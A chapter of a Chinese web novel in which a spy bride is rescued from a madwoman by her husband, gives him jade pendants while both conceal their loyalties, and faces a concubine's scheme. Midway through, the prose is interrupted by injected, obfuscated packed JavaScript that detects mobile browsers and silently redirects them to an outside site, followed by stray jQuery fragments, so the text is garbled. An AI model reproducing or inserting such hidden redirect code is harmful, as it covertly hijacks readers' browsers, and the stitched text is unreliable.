“什么?”
可女人似乎想到了什么恐怖的事,迅速收回了手,惊恐地向后退了两步。
齐璎的好奇心一时战胜了恐惧,她大着胆子向前两步,想继续听那女人说什么:
“什么?什么戏子?”
可那女人明显沉浸在莫大的恐惧中,双手抱头。
“你还好吗……你……”
突然,女人发出了一声凄厉的尖叫,随后暴起,向齐璎扑过来。
霎时眼前天旋地转,齐璎只觉得后脑一痛,还没来得及惊呼,就被女人紧紧掐住了脖子。
“你……你……救……”
齐璎赶紧疯狂挣扎,却只能从喉咙中挤出不成形的音节。
那女人身材瘦削,双手冰凉,此刻爆发出的力气却异常惊人。
“救……救……”
齐璎一边尝试着发出声音,一边只能双手乱舞,双腿乱踢,试图抓住什么。
但那女人拼尽了全身的力道压在齐璎身上,丝毫没给她一点机会。
随着呼吸逐渐困难,齐璎觉得眼前渐渐黑了下来。
她模模糊糊地想,不是吧,她堂堂南炽细作这一世英名,今天就交代在这了吗……
大师兄,还等着她回去拜堂成亲呢。
“齐璎!”
似乎有个男人在叫她。
是大师兄来了吗?
掐着她的手突然一松,齐璎趁此机会终于能猛吸一口气。
下一秒,她就觉得自己被拦腰抱起,靠在了一个坚实的胸膛里。
胸好大……
齐璎一边狼狈地咳嗽一边想。
“来人!”
凌青呼吸急促,却稳稳地抱着齐璎,双目赤红着盯着地上的女子。
那青衣女子刚才被他打倒在一边,现下虽然狼狈地趴在地上,却狂笑不止。
“哈哈哈哈……他没有名字!他没有名字!……哈哈哈……”
家奴们闻声匆匆赶来,沉默地将手舞足蹈的青衣女子拉回别院。
齐璎看那别院漆黑的大门又猛地关上,还是心有余悸。
“她是……谁啊?”
凌青不回答,齐璎只好噤声。
凌青神色冰冷,却将齐璎一路公主抱回了房间。
齐璎一边享受地感受小将军给她披的斗篷一边想,这次小将军的救命之恩,是真的没齿难忘了。
这辈子敌我有别报不了,下辈子定以身相许。
记得等我哟!
……如果你还长这么帅的话。
看着站在房间一头,冷冷抱胸审视她的凌青,齐璎两只眼睛眨了眨。
她有些心虚。
今晚回府的时候,原本知道小将军还没回来,齐璎松了口气。
不用费尽心思想晚归的借口了。
结果作死非要抄近道,现在直接被抓了个正着。
不过还好,其实她早有对策——
齐璎“哎呀”一声,装作惊慌的样子,在凌青的审视中,开始……一边扭动,一边抚摸自己的身体。
凌青:?
凌青:“身子不爽利就去沐浴。”
齐璎娇羞地:“夫君,我今日晚归,其实……”
扭了半天,齐璎终于扭扭捏捏地从怀里掏出一对玉佩来:
“是找人打了这一对玉佩。”
那一对玉佩均为天青色,色泽温润,莹光流转,一看就是上好的玉。
齐璎回忆着陆明漪的教诲——
微微皱眉,然后抬高眉毛。微微眯眼,不要有焦点,哪里都看就不看他,增加眨眼速度。
很好,很惹人怜爱。
凌青看着齐璎疯狂翻白眼的苦相:“你眼睛进灰了?”
齐璎深吸一口气,叹道:
“夫君,你知道的,我本是孤女,又是抛头露面的官媒。此生虽促成了无数喜事,却自认应孤寡一生。”
——要不是你非要娶我,就没那么多破事了。
“只蒙夫君深爱不弃,娶我进门,许我自由,又护我周全。今生能遇此良人,是我齐璎之幸。”
——遇见你真是倒大霉了,还好你有点良心。
“夫君,这是我做官媒这几年的全副身家。只可惜我请的朝京城最好的工匠,却也赶不上我们大婚当日,只好今日求他赶工至今。但求能与夫君永结同心,不离不弃。”
——骗你的,其实是从祈姻楼杂物间里找的,我和齐盈灰头土脸地翻了半天。
不过确实没想到,祈姻楼的杂物间里居然还能有这么精美的一对玉佩。
齐璎翘起兰花指,小心翼翼地举起两块玉佩,放在凌青眼前。
那两块玉佩,一块是樱花,五瓣舒展,花心处用极细的金丝嵌出几点花蕊,精致玲珑。
一块则是银杏叶,浮雕出辐射状的日光纹,由中心向外舒展,如光芒四射,纹理清晰,栩栩如生。
“这是我的谐音‘樱’,这玉色天青,是你的‘青’。你看,就这样一对……”
齐璎将两个玉佩的叶柄部分对齐,轻轻一插,樱花就严丝合缝地落在了银杏叶上。
“怎么样?是不是很有巧思?”
凌青觉得这倒有趣,坐到了齐璎身边,将那连成一对的玉佩拿过来仔细翻看。
此玉触手温润,质感细腻,雕刻精美,青碧交辉,能看出原主人花了不少心思。
既是南炽之物,一定另有乾坤。不知是否有机关,或哪里可以放迷香毒药。
若能带回去让人细细研究一番,或许能对北池暗器发展有益。
齐璎看凌青反复将那对玉佩合上又打开,十分满意的样子,心中窃喜。
真好哄。
哎呀,对付恋爱脑,就是要用这种法子。
虽然良心是有点过不去啦……
想到这,齐璎又想起白天和奉碟打听的事,心下有些内疚,于是出声道:
“夫君……那个,我都知道了。”
齐璎看凌青反手就握紧了玉佩,眼睛中凌厉一闪而过:
“什么?”
齐璎再定睛一看,凌青还是原本那副冰冷的表情,眸色沉沉,刚才只是她的错觉。
懂,这是被说到痛处了。
齐璎斟酌着状态,深沉地拍了拍凌青的肩膀:
“你不用装了,其实咱俩都是一样的。”
说完,转过头去不看他。
给小将军一点自己展露悲伤的空间。
凌青侧头死死盯着齐璎,眯起了眼,神色戒备。
——一样什么?一样在互相欺瞒?一样在利用这段婚约?
还是,一样都是朝廷的鹰犬?
凌青不由微微紧绷了身体,如同一只随时准备杀死猎物的狼。
他计算着接下来一刀清理掉齐璎的可能性。
齐璎还是没看凌青,只低头摆弄袖口的一块污损。
刚才和那青衣女子在地上比划,好像弄破了。
“那个,我知道,你娘生你的时候,难产走了。”
凌青微微一愣,一时没反应过来齐璎要说什么。
“你那个爹我今天看了,恕我直言,跟没有也一样。”
齐璎转过头来望着凌青,眼里笑意盈盈:
“我是孤儿。
“所以我说咱俩都一样。”
凌青收回目光,将杀意也尽数敛藏。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827704|190804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这南炽细作,获得消息的速度也够快的。
齐璎站起身,大大咧咧地揽过凌青的肩膀,好姐们似的拍了拍。
“你有什么不开心的都可以和我说啊,我永远都在。
“你们这弯弯绕绕的我不懂,但我知道,家是可以重新定义的。
“在镇国公府邸,我和你,我们才是‘家’。”
凌青僵在原地,像一块无主的木头。
齐璎看凌青垂着眼睛,久久不语的样子,心生感叹。
多可怜的孩子啊!
北池国真造孽啊!
要是能加入空蝉阁,就不会过得这么压抑了。
不过今天的圣母心就到这里。
齐璎打了个哈欠:“我困了。”
凌青僵硬地动了动肩膀。
也不知是真的被甩开了,还是时间正好,齐璎将手收了回去。
肩上一松,不知为何,凌青觉得心下也一空。
他下意识转头看她,只见齐璎神色自如,恍若未觉。
她脱下外套、躺到床上,给自己掖好被角,一套动作行云流水。
感受到凌青的视线,齐璎抬头笑着看他。
“怎么了?快睡觉呀。”
也有人这样对凌青说过:
“阿青,我们才是‘家’。”
可那个人……
凌青眸光一暗,垂下了眼睛,微微攥紧了拳头:
“夫人。”
“啊?”
“明日,你随我去武昌侯府一趟。”
*
齐璎觉得,自己好像错怪赵姨娘了。
刚用完早膳,赵姨娘就来找她玩了,还带了份例以外的糕饼。
态度极其热情,待齐璎如亲女儿一般,丝毫不见昨日的严厉。
齐璎啃着赵姨娘带来的糕点想,赵姨娘是好人。
——虽然一直叫她凌齐氏,改都改不过来。
齐璎才从赵姨娘那得知,武昌侯原来是凌青的舅舅。
赵姨娘笑得开心:
“青儿真是孝顺,他母亲走得早,看不见了。带你去见舅舅,也是很合情理的。”
齐璎受宠若惊:
“那……那这次去见那舅舅,有什么需要注意的地方没有?”
“嗨,武昌侯惯是个好说话的,你又有青儿护着,你怕什么?放一百个心好了。”
说罢,赵姨娘还亲昵地捅了一下齐璎。
很有道理,齐璎放下了心。
直到时辰到了,齐璎穿戴好幂篱,赵姨娘一直目送她走出外宅,笑容才渐渐变了味。
“呸,不过是靠做官媒才拿到官身的下贱孤女,真敢和我半个国公夫人平起平坐,给她脸了?!”
旁边奴婢跪答:“姨娘息怒!”
赵姨娘抬手理了理鬓角的碎发,心情却很好的样子:
“真是一物降一物,也只有凌青能想得出来,带如此刁蛮骄纵之人去见武昌侯。
“他是没见识过武昌侯家的规矩吗?”
那跪在地上的奴婢大着胆子插话:
“可三少爷对三少夫人宠爱有加,连老爷都敢顶撞,恐怕……”
“怕什么?倒是怕他不顶撞武昌侯呢。”赵姨娘嘲讽道。
“此去他若是不顶撞,凌齐氏少不了吃苦头;若是顶撞,将此事在京城传个十天八天的,也不信镇国公那老东西还能那么坐得住。”
赵姨娘侧头吩咐:
“去,让人在京城的夫人里面传,凌齐氏去见武昌侯了。”
“是。”
奴婢领命去了,赵姨娘嘴角的笑还意犹未尽:
“都等着看好戏吧。”